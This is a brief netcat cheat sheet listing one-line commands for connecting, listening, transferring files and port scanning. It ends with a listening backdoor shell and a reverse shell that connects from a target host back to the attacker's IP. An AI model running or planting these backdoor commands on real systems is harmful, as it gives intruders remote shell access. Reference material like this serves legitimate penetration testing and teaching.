Connect to arbitrary port at IP, Netcat client mode

nc $target $remotePort

Listen on arbitrary local port, Netcat listener mode

nc -l -p $localPort

Push file from client to listener

nc -l -p $localPort > $outFile

Pull a file from listener to client

nc -l -p $localPort < $inFile

Port scan

nc -v -n -z -w1 $target ${startPort}-${endPort}

Listening backdoor shell

nc -l -p $localPort -e /bin/bash

Reverse backdoor shell to your IP from target host

nc $yourIP $port -e /bin/bash